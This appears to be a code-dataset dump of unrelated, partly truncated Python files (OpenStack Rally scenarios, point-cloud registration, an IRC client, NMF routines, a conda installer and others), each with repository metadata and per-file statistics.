# Unless required by applicable law or agreed to in writing,... | 33.784615 | 84 | 0.702186 | 295 | 2,196 | 5.010169 | 0.447458 | 0.040595 | 0.037889 | 0.051421 | 0.128552 | 0.108254 | 0.108254 | 0.108254 | 0.050068 | 0 | 0 | 0.024636 | 0.186703 | 2,196 | 64 | 85 | 34.3125 | 0.802912 | 0.25 | 0 | 0 | 0 | 0 | 0.162278 | 0.031231 | 0 | 0 | 0 | 0 | 0.105263 | 1 | 0.026316 | false | 0 | 0.105263 | 0 | 0.157895 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca122ad15974c3c8846065ba5622e84a28e0998f | 5,271 | py | Python | rally_openstack/task/scenarios/nova/server_groups.py | jogeo/rally-openstack | 83437e7c5925d5d647cd28f1821b6d51687b0123 | [
"Apache-2.0"
] | null | null | null | rally_openstack/task/scenarios/nova/server_groups.py | jogeo/rally-openstack | 83437e7c5925d5d647cd28f1821b6d51687b0123 | [
"Apache-2.0"
] | null | null | null | rally_openstack/task/scenarios/nova/server_groups.py | jogeo/rally-openstack | 83437e7c5925d5d647cd28f1821b6d51687b0123 | [
"Apache-2.0"
] | 1 | 2021-08-10T03:11:51.000Z | 2021-08-10T03:11:51.000Z | # Copyright 2017: Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 39.931818 | 78 | 0.642003 | 596 | 5,271 | 5.558725 | 0.251678 | 0.12617 | 0.038032 | 0.02626 | 0.648053 | 0.597344 | 0.597344 | 0.575913 | 0.559915 | 0.559915 | 0 | 0.005175 | 0.266743 | 5,271 | 131 | 79 | 40.236641 | 0.852005 | 0.293682 | 0 | 0.623188 | 0 | 0 | 0.245132 | 0.039233 | 0 | 0 | 0 | 0 | 0.072464 | 1 | 0.043478 | false | 0 | 0.072464 | 0 | 0.15942 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca12dc98ed1d3df8ddbdad5e413c00b24eb6f56d | 2,696 | py | Python | 1_open3d/20_colored_point_cloud_registration.py | lyffly/Python-3DPointCloud-and-RGBD | b3b973ec96045a34d3540522a115c5a77f4de136 | [
"Apache-2.0"
] | 16 | 2019-10-28T01:17:09.000Z | 2022-01-20T08:26:06.000Z | 1_open3d/20_colored_point_cloud_registration.py | lyffly/Python-3DPointCloud-and-RGBD | b3b973ec96045a34d3540522a115c5a77f4de136 | [
"Apache-2.0"
] | null | null | null | 1_open3d/20_colored_point_cloud_registration.py | lyffly/Python-3DPointCloud-and-RGBD | b3b973ec96045a34d3540522a115c5a77f4de136 | [
"Apache-2.0"
] | 3 | 2020-04-07T08:48:28.000Z | 2021-09-22T14:47:42.000Z | # coding = utf-8
# coding by liuyunfei
# origin code from open3d samples(github)
import numpy as np
import open3d as op3
import matplotlib.pyplot as plt
import copy
import time
def draw_registration_result_origin_color(source,target,transformation):
source_temp = copy.deepcopy(source)
source_temp.transform(t... | 28.989247 | 82 | 0.673961 | 305 | 2,696 | 5.714754 | 0.347541 | 0.084337 | 0.050488 | 0.064257 | 0.414228 | 0.276535 | 0.276535 | 0.2249 | 0.177854 | 0.177854 | 0 | 0.030852 | 0.242582 | 2,696 | 92 | 83 | 29.304348 | 0.822723 | 0.116469 | 0 | 0.196429 | 0 | 0 | 0.07481 | 0.02705 | 0 | 0 | 0 | 0 | 0 | 1 | 0.017857 | false | 0 | 0.089286 | 0 | 0.107143 | 0.107143 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca13f5a2b7e69e8ead8b3416408fe4c4517f3578 | 167 | py | Python | 7KYU/get_even_numbers.py | yaznasivasai/python_codewars | 25493591dde4649dc9c1ec3bece8191a3bed6818 | [
"MIT"
] | 4 | 2021-07-17T22:48:03.000Z | 2022-03-25T14:10:58.000Z | 7KYU/get_even_numbers.py | yaznasivasai/python_codewars | 25493591dde4649dc9c1ec3bece8191a3bed6818 | [
"MIT"
] | null | null | null | 7KYU/get_even_numbers.py | yaznasivasai/python_codewars | 25493591dde4649dc9c1ec3bece8191a3bed6818 | [
"MIT"
] | 3 | 2021-06-14T14:18:16.000Z | 2022-03-16T06:02:02.000Z | from typing import List
def get_even_numbers(arr: List[int]) -> List[int]:
if len(arr) < 1:
return []
return list(filter(lambda i: not(i % 2), arr))
| 20.875 | 50 | 0.610778 | 27 | 167 | 3.703704 | 0.703704 | 0.14 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015748 | 0.239521 | 167 | 7 | 51 | 23.857143 | 0.771654 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
ca14df6be2f407c519068e98b8fe3403b1f317be | 3,189 | py | Python | schevo/test/test_valid_values_resolve.py | Schevo/schevo | d57a41f8b7b514ed48dc0164dcd3412a89e9873b | [
"MIT"
] | 1 | 2020-09-05T00:47:50.000Z | 2020-09-05T00:47:50.000Z | schevo/test/test_valid_values_resolve.py | Schevo/schevo | d57a41f8b7b514ed48dc0164dcd3412a89e9873b | [
"MIT"
] | null | null | null | schevo/test/test_valid_values_resolve.py | Schevo/schevo | d57a41f8b7b514ed48dc0164dcd3412a89e9873b | [
"MIT"
] | null | null | null | """Tests for using tuples in valid_values"""
# Copyright (c) 2001-2009 ElevenCraft Inc.
# See LICENSE for details.
from schevo.error import EntityDoesNotExist
from schevo.test import CreatesSchema, raises
class BaseValidValuesResolve(CreatesSchema):
body = '''
class Foo(E.Entity):
name = f.string... | 27.491379 | 73 | 0.555033 | 405 | 3,189 | 4.214815 | 0.182716 | 0.063269 | 0.064441 | 0.126538 | 0.482132 | 0.422964 | 0.422964 | 0.422964 | 0.379613 | 0.379613 | 0 | 0.046147 | 0.320477 | 3,189 | 115 | 74 | 27.730435 | 0.741578 | 0.090624 | 0 | 0.4 | 0 | 0 | 0.317394 | 0.022523 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.026667 | false | 0 | 0.026667 | 0 | 0.12 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca15c2826574dbb584e7daadacf5cc2051a092bd | 512 | py | Python | src/sentry/web/frontend/organization_home.py | jaysoffian/sentry | 80b4d3d89b8a51a0573d1aca9243255b34f0a852 | [
"BSD-3-Clause"
] | null | null | null | src/sentry/web/frontend/organization_home.py | jaysoffian/sentry | 80b4d3d89b8a51a0573d1aca9243255b34f0a852 | [
"BSD-3-Clause"
] | null | null | null | src/sentry/web/frontend/organization_home.py | jaysoffian/sentry | 80b4d3d89b8a51a0573d1aca9243255b34f0a852 | [
"BSD-3-Clause"
] | null | null | null | from __future__ import absolute_import
from sentry.models import Team
from sentry.web.frontend.base import OrganizationView
class OrganizationHomeView(OrganizationView):
def get(self, request, organization):
team_list = Team.objects.get_for_user(
organization=organization,
user=re... | 25.6 | 69 | 0.666016 | 53 | 512 | 6.226415 | 0.566038 | 0.072727 | 0.072727 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.255859 | 512 | 19 | 70 | 26.947368 | 0.866142 | 0 | 0 | 0 | 0 | 0 | 0.074219 | 0.056641 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.214286 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca16d21e463b54abc6a96f2de26af157f2c09dbb | 325 | py | Python | aaittech_cms_template/cms_apps.py | ti3r/aaittech-cms-template | 57af1d243cf3c0a536f286c1403af4bc2e55afe7 | [
"MIT"
] | null | null | null | aaittech_cms_template/cms_apps.py | ti3r/aaittech-cms-template | 57af1d243cf3c0a536f286c1403af4bc2e55afe7 | [
"MIT"
] | null | null | null | aaittech_cms_template/cms_apps.py | ti3r/aaittech-cms-template | 57af1d243cf3c0a536f286c1403af4bc2e55afe7 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals, absolute_import
from appconf import AppConf
class AaItTechThemeConf(AppConf):
CMS_TEMPLATES = (#Add the templates in this theme to the existing CMS_TEMPLATES setting in the application
('aaittech/fullwidth.html', 'A&A IT TECH Fullwidth'),
... | 29.545455 | 110 | 0.738462 | 42 | 325 | 5.52381 | 0.690476 | 0.103448 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003731 | 0.175385 | 325 | 10 | 111 | 32.5 | 0.86194 | 0.335385 | 0 | 0 | 0 | 0 | 0.207547 | 0.108491 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
ca16deeed1567cf782ef50d864c2d97897036fbd | 73 | py | Python | snippets/python-set.py | district10/snippet-manager | bebe45a601368947168e3ee6e6ab8c1fc2ee2055 | [
"MIT"
] | 7 | 2018-08-04T09:28:19.000Z | 2020-10-19T17:46:34.000Z | snippets/python-set.py | district10/snippet-manager | bebe45a601368947168e3ee6e6ab8c1fc2ee2055 | [
"MIT"
] | null | null | null | snippets/python-set.py | district10/snippet-manager | bebe45a601368947168e3ee6e6ab8c1fc2ee2055 | [
"MIT"
] | 2 | 2018-07-31T04:14:55.000Z | 2020-04-02T01:22:39.000Z | # python set
s = set()
s.add(5)
s.remove(5)
s2 = {2, 3, 5}
s.discard(9)
| 9.125 | 14 | 0.547945 | 17 | 73 | 2.352941 | 0.647059 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12069 | 0.205479 | 73 | 7 | 15 | 10.428571 | 0.568966 | 0.136986 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ca18612a9923993cc12cc4b8a3f980bafef342c5 | 1,250 | py | Python | gbst_package/gbst/metrics.py | 360jinrong/GBST | 227ec7b5e6e64b6b944fd23ebd40fd9fd40b0925 | [
"Apache-2.0"
] | 18 | 2020-08-11T08:52:29.000Z | 2021-11-14T03:30:03.000Z | gbst_package/gbst/metrics.py | 360jinrong/GBST | 227ec7b5e6e64b6b944fd23ebd40fd9fd40b0925 | [
"Apache-2.0"
] | null | null | null | gbst_package/gbst/metrics.py | 360jinrong/GBST | 227ec7b5e6e64b6b944fd23ebd40fd9fd40b0925 | [
"Apache-2.0"
] | 5 | 2020-09-14T10:58:09.000Z | 2021-08-17T13:12:59.000Z | # coding: utf-8
"""The interface for user-defined metrics."""
import numpy as np
from sklearn.metrics import roc_auc_score
def evalauc(preds, deval):
"""
Average AUC metric as default, but written in python.
This serves as an example of implementing new metrics.
Parameters
----------
preds: t... | 30.487805 | 94 | 0.6168 | 175 | 1,250 | 4.297143 | 0.525714 | 0.021277 | 0.043883 | 0.026596 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011892 | 0.26 | 1,250 | 40 | 95 | 31.25 | 0.801081 | 0.36 | 0 | 0 | 0 | 0 | 0.004054 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0.052632 | 0.105263 | 0 | 0.210526 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
ca19de4bc8996171592064df3589d26b00d32cbf | 7,561 | py | Python | beta_nmf.py | rserizel/groupNMF | 71d383c89348bd6fadfebce4c8d755dd2706e5dc | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 3 | 2016-08-03T14:07:47.000Z | 2021-01-31T03:24:23.000Z | beta_nmf.py | rserizel/groupNMF | 71d383c89348bd6fadfebce4c8d755dd2706e5dc | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | beta_nmf.py | rserizel/groupNMF | 71d383c89348bd6fadfebce4c8d755dd2706e5dc | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 1 | 2016-03-18T05:48:09.000Z | 2016-03-18T05:48:09.000Z | # -*- coding: utf-8 -*-
"""
beta\_nmf.py
~~~~~~~~~~~
.. topic:: Contents
The beta_nmf module includes the beta\_nmf class,
fit function and theano functions to compute updates and cost.
Copyright 2014-2016 Romain Serizel
This software is distributed under the terms of the GNU Public License
version 3 (... | 36.703883 | 78 | 0.470705 | 770 | 7,561 | 4.497403 | 0.268831 | 0.034652 | 0.041582 | 0.04447 | 0.243431 | 0.165752 | 0.115507 | 0.085475 | 0.068149 | 0.068149 | 0 | 0.0144 | 0.439757 | 7,561 | 205 | 79 | 36.882927 | 0.803116 | 0.005687 | 0 | 0.313559 | 0 | 0 | 0.039269 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.050847 | null | null | 0.042373 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ca1a2d87e331ba4796b185ef1dd36eee4f8da2b8 | 28,671 | py | Python | girc/client.py | ekimekim/girc | 505ec0eb3c0a46adfad62383d9634fe971a430d5 | [
"MIT"
] | 1 | 2016-02-09T10:04:29.000Z | 2016-02-09T10:04:29.000Z | girc/client.py | ekimekim/girc | 505ec0eb3c0a46adfad62383d9634fe971a430d5 | [
"MIT"
] | null | null | null | girc/client.py | ekimekim/girc | 505ec0eb3c0a46adfad62383d9634fe971a430d5 | [
"MIT"
] | null | null | null |
import errno
import json
import logging
import random
import string
import time
import weakref
from base64 import b64encode, b64decode
import gevent.queue
import gevent.pool
import gevent.event
import gevent.lock
from gevent import socket
from gevent import ssl
from girc import message
from girc import replycodes
fr... | 39.061308 | 123 | 0.725193 | 4,326 | 28,671 | 4.690014 | 0.169209 | 0.014983 | 0.009759 | 0.007393 | 0.112869 | 0.079403 | 0.05328 | 0.043028 | 0.032037 | 0.021933 | 0 | 0.003269 | 0.178403 | 28,671 | 733 | 124 | 39.114598 | 0.85804 | 0.379303 | 0 | 0.186335 | 0 | 0 | 0.107287 | 0.001538 | 0 | 0 | 0 | 0 | 0 | 1 | 0.109731 | false | 0.016563 | 0.043478 | 0.008282 | 0.256729 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca1ce780c2537fe4570a13d85a070b4f4bf60790 | 2,108 | py | Python | brightway2_conda_installer/__main__.py | haasad/brightway2-conda-installer | 48f82b7c594a6a873cead22fb1e92a4441c75125 | [
"BSD-3-Clause"
] | null | null | null | brightway2_conda_installer/__main__.py | haasad/brightway2-conda-installer | 48f82b7c594a6a873cead22fb1e92a4441c75125 | [
"BSD-3-Clause"
] | null | null | null | brightway2_conda_installer/__main__.py | haasad/brightway2-conda-installer | 48f82b7c594a6a873cead22fb1e92a4441c75125 | [
"BSD-3-Clause"
] | null | null | null | import sys
import subprocess
import tempfile
if not ('continuum' in sys.version.lower() or 'conda' in sys.version.lower()):
raise RuntimeError('This script needs to be executed with the anaconda python distribution.')
def create_new_brightway2_env():
name_str = 'name: {}\n'
channels_str = "channels:\n\t- default... | 30.114286 | 96 | 0.509013 | 231 | 2,108 | 4.428571 | 0.4329 | 0.01955 | 0.035191 | 0.033236 | 0.01564 | 0.01564 | 0.01564 | 0.01564 | 0 | 0 | 0 | 0.019795 | 0.352941 | 2,108 | 69 | 97 | 30.550725 | 0.730205 | 0 | 0 | 0 | 0 | 0.037037 | 0.276565 | 0 | 0.037037 | 0 | 0 | 0 | 0 | 1 | 0.018519 | false | 0 | 0.055556 | 0 | 0.074074 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca1e1da567e34617d96f66de20f0e664963aa431 | 92 | py | Python | tftf/__init__.py | yusugomori/tftf | e98b9ddffdbaa1fe04320437a47f12f3182ab6f3 | [
"Apache-2.0"
] | 35 | 2018-08-11T05:01:41.000Z | 2021-01-29T02:28:47.000Z | tftf/__init__.py | yusugomori/tftf | e98b9ddffdbaa1fe04320437a47f12f3182ab6f3 | [
"Apache-2.0"
] | null | null | null | tftf/__init__.py | yusugomori/tftf | e98b9ddffdbaa1fe04320437a47f12f3182ab6f3 | [
"Apache-2.0"
] | 4 | 2018-10-19T14:12:04.000Z | 2021-01-29T02:28:49.000Z | from .datasets import *
from .layers import *
from .models import *
__version__ = '0.0.29'
| 15.333333 | 23 | 0.706522 | 13 | 92 | 4.692308 | 0.615385 | 0.327869 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 0.173913 | 92 | 5 | 24 | 18.4 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0.065217 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.75 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
ca209532982dc6f81d2d8ee667b5d258d0912676 | 38 | py | Python | validator/bin/run.py | acmiyaguchi/mozschema-validator | 04d265bb9359107580f8726bce5102b14a68f156 | [
"MIT"
] | null | null | null | validator/bin/run.py | acmiyaguchi/mozschema-validator | 04d265bb9359107580f8726bce5102b14a68f156 | [
"MIT"
] | 2 | 2018-04-13T20:54:16.000Z | 2018-05-01T01:11:32.000Z | validator/bin/run.py | acmiyaguchi/schema-validator | 04d265bb9359107580f8726bce5102b14a68f156 | [
"MIT"
] | null | null | null | from validator import app
app.main()
| 9.5 | 25 | 0.763158 | 6 | 38 | 4.833333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 38 | 3 | 26 | 12.666667 | 0.90625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
ca210c8b8bd1e28df8213ce6fb3cae882fc18129 | 2,593 | py | Python | evd_ros_backend/evd_ros_core/src/evd_sim/pose_interpolator.py | Wisc-HCI/CoFrame | 7a54344248d80cb316d36aabd40bbd3cdbbc07eb | [
"MIT"
] | null | null | null | evd_ros_backend/evd_ros_core/src/evd_sim/pose_interpolator.py | Wisc-HCI/CoFrame | 7a54344248d80cb316d36aabd40bbd3cdbbc07eb | [
"MIT"
] | null | null | null | evd_ros_backend/evd_ros_core/src/evd_sim/pose_interpolator.py | Wisc-HCI/CoFrame | 7a54344248d80cb316d36aabd40bbd3cdbbc07eb | [
"MIT"
] | null | null | null |
from geometry_msgs.msg import Pose
from scipy.interpolate import interp1d
from pyquaternion import Quaternion
class PoseInterpolator:
def __init__(self, poseStart, poseEnd, velocity, minTime=1):
'''
param: poseStart is starting pose (that robot should already be at)
param: poseEnd is tar... | 31.621951 | 142 | 0.615889 | 330 | 2,593 | 4.742424 | 0.3 | 0.038339 | 0.035783 | 0.042173 | 0.105431 | 0.105431 | 0.105431 | 0.105431 | 0.105431 | 0.105431 | 0 | 0.023467 | 0.276899 | 2,593 | 82 | 143 | 31.621951 | 0.8112 | 0.119938 | 0 | 0.109091 | 0 | 0 | 0.008043 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.127273 | false | 0 | 0.054545 | 0.072727 | 0.345455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca2351ab88cb240b18baff7cac53a685ea432501 | 895 | py | Python | rllib/environment/vectorized/__init__.py | shenao-zhang/DCPU | 0da9aa2b7878b54ba4ee4dca894c2e86cdc0d559 | [
"MIT"
] | 8 | 2020-10-23T07:52:19.000Z | 2022-03-06T13:35:12.000Z | rllib/environment/vectorized/__init__.py | shenao-zhang/DCPU | 0da9aa2b7878b54ba4ee4dca894c2e86cdc0d559 | [
"MIT"
] | 3 | 2021-03-04T13:44:01.000Z | 2021-03-23T09:57:50.000Z | rllib/environment/vectorized/__init__.py | shenao-zhang/DCPU | 0da9aa2b7878b54ba4ee4dca894c2e86cdc0d559 | [
"MIT"
] | 3 | 2021-03-18T08:23:56.000Z | 2021-07-06T11:20:12.000Z | """Vectorized Gym Environments."""
from gym.envs.registration import register
from .acrobot import DiscreteVectorizedAcrobotEnv, VectorizedAcrobotEnv
from .cartpole import DiscreteVectorizedCartPoleEnv, VectorizedCartPoleEnv
from .pendulum import VectorizedPendulumEnv
register(
id="VContinuous-CartPole-v0",
e... | 27.96875 | 86 | 0.798883 | 82 | 895 | 8.658537 | 0.304878 | 0.070423 | 0.084507 | 0.119718 | 0.352113 | 0.352113 | 0.298592 | 0.298592 | 0 | 0 | 0 | 0.006188 | 0.097207 | 895 | 31 | 87 | 28.870968 | 0.872525 | 0.031285 | 0 | 0.208333 | 0 | 0 | 0.470383 | 0.433217 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.166667 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ca23c15eb49a53f2c25651087356dbdbc52fa963 | 820 | py | Python | halo_app/infra/event_publisher.py | halo-framework/halo-app | 98e057b2f433d97d903589ac75a6c2544174bac8 | [
"MIT"
] | null | null | null | halo_app/infra/event_publisher.py | halo-framework/halo-app | 98e057b2f433d97d903589ac75a6c2544174bac8 | [
"MIT"
] | null | null | null | halo_app/infra/event_publisher.py | halo-framework/halo-app | 98e057b2f433d97d903589ac75a6c2544174bac8 | [
"MIT"
] | null | null | null | import json
import logging
from dataclasses import asdict
import abc
from halo_app.app.command import AbsHaloCommand
from halo_app.classes import AbsBaseClass
from halo_app.app.event import AbsHaloEvent
from halo_app.settingsx import settingsx
logger = logging.getLogger(__name__)
settings = settingsx()
class AbsPub... | 29.285714 | 74 | 0.746341 | 101 | 820 | 5.940594 | 0.346535 | 0.053333 | 0.073333 | 0.046667 | 0.28 | 0.28 | 0.28 | 0.14 | 0 | 0 | 0 | 0 | 0.152439 | 820 | 27 | 75 | 30.37037 | 0.863309 | 0 | 0 | 0 | 0 | 0 | 0.078049 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.15 | false | 0 | 0.4 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
ca26de3069527458469525481c191fce42234a13 | 454 | py | Python | Lista07/ex009.py | Guilherme-Schwann/Listas-de-Exercicios-UFV-CCF-110 | f306c8dc6385ee8c9580e687afa16a49ace68f95 | [
"MIT"
] | 2 | 2021-09-05T22:29:33.000Z | 2021-09-09T00:13:16.000Z | Lista07/ex009.py | Guilherme-Schwann/Listas-de-Exercicios-UFV-CCF-110 | f306c8dc6385ee8c9580e687afa16a49ace68f95 | [
"MIT"
] | null | null | null | Lista07/ex009.py | Guilherme-Schwann/Listas-de-Exercicios-UFV-CCF-110 | f306c8dc6385ee8c9580e687afa16a49ace68f95 | [
"MIT"
] | null | null | null | v = [int(input()) for x in range(121)]
menor, maior = v[0], v[0]
soma = 0
for i in range(121):
soma += v[i]
media = soma / 121
diasmen = 0
for i in range(121):
if v[i] < menor:
menor = v[i]
elif v[i] > maior:
maior = v[i]
if v[i] < media:
diasmen += 1
print(f'Menor temp.: {menor}... | 25.222222 | 67 | 0.57489 | 80 | 454 | 3.2625 | 0.3625 | 0.045977 | 0.114943 | 0.05364 | 0.114943 | 0.114943 | 0 | 0 | 0 | 0 | 0 | 0.050296 | 0.255507 | 454 | 17 | 68 | 26.705882 | 0.721893 | 0 | 0 | 0.117647 | 0 | 0 | 0.284141 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.176471 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca28cbc4e85934d115ae46089616dac574b16cc1 | 1,790 | py | Python | observations/r/earns.py | hajime9652/observations | 2c8b1ac31025938cb17762e540f2f592e302d5de | [
"Apache-2.0"
] | 199 | 2017-07-24T01:34:27.000Z | 2022-01-29T00:50:55.000Z | observations/r/earns.py | hajime9652/observations | 2c8b1ac31025938cb17762e540f2f592e302d5de | [
"Apache-2.0"
] | 46 | 2017-09-05T19:27:20.000Z | 2019-01-07T09:47:26.000Z | observations/r/earns.py | hajime9652/observations | 2c8b1ac31025938cb17762e540f2f592e302d5de | [
"Apache-2.0"
] | 45 | 2017-07-26T00:10:44.000Z | 2022-03-16T20:44:59.000Z | # -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import csv
import numpy as np
import os
import sys
from observations.util import maybe_download_and_extract
def earns(path):
"""earns
